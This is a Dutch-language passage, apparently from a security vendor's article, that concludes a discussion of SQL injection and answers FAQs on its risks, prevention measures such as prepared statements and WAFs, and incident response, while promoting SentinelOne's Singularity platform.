Uiteindelijk blijft SQL-injectie een van de ernstigste beveiligingsrisico's voor zowel webapplicaties als databases. Slechte invoervalidatie, zwakke queryverwerking en verouderde beveiligingspraktijken dragen ertoe bij dat dit soort aanvallen zelfs voor zo'n bekende kwetsbaarheid veel voorkomen. Een succesvolle SQL-injectieaanval kan leiden tot allerlei gevolgen, van gestolen gegevens tot financieel verlies, reputatieschade en zelfs juridische repercussies. Daarom is het voor bedrijven erg belangrijk om uitgebreide beveiligingsmaatregelen te nemen, zoals voorbereide statements, invoervalidatie en webapplicatie-firewalls.

Elke organisatie moet SQL-injectie-kwetsbaarheden zeer serieus nemen, vooral wanneer er gevoelige klantgegevens worden verwerkt. Door de best practices in dit artikel te volgen, regelmatig beveiligingsaudits uit te voeren en ontwikkelaars veilige codeerpraktijken bij te brengen, kunnen bedrijven de kans verkleinen dat ze het slachtoffer worden van SQL-injectie-aanvallen.

"

Veelgestelde vragen over SQL-injectie

Waarom moet ik me zorgen maken over SQL-injectieaanvallen?

De gevolgen van SQL-injectieaanvallen gaan veel verder dan alleen het injecteren van kwaadaardige code in uw onderneming. Wanneer aanvallers de inloggegevens van uw gebruikers verzamelen en stelen, krijgen ze ongeoorloofde toegang tot gevoelige databases, servers en andere bronnen. Ze kunnen privileges escaleren, vertrouwelijke informatie onthullen of uw gegevens verkopen op het dark web. De gevolgen reiken ver in de toekomst en hebben invloed op de reputatie en integriteit van uw organisatie.

Wat zijn de beste tools om SQL-injecties te bestrijden?

Wij raden aan om Singularity™ Platform te gebruiken om SQL-injectiedreigingen te bestrijden. Dit platform biedt bescherming voor de hele onderneming en bevat alle tools en functies die u nodig hebt voor autonome respons, onbeperkt inzicht en toonaangevende detectie.

Hoe kan ik SQLi-aanvallen voorkomen?

U kunt SQLi-aanvallen voorkomen door gebruik te maken van allow lists of whitelisting en door continu kwetsbaarheidsscans en penetratietests uit te voeren. Implementeer webapplicatie-firewalls (WAF), pas het principe van minimale toegangsrechten toe en voer inputvalidatie- en opschoningsprocessen uit.

Wat moet ik doen als ik het slachtoffer ben geworden van een SQL-injectieaanval?

Beperk de omvang van de schade en concentreer u op het indammen van de dreiging. Schakel uw infrastructuur opnieuw in, repareer webpagina's/opdrachten met gedetecteerde kwetsbaarheden en sluit geïnfecteerde services af. Herstel verloren gegevens uit uw recente back-ups en gebruik een geavanceerde oplossing voor dreigingsdetectie, zoals SentinelOne, om de oorsprong van de aanval te achterhalen en te verhelpen.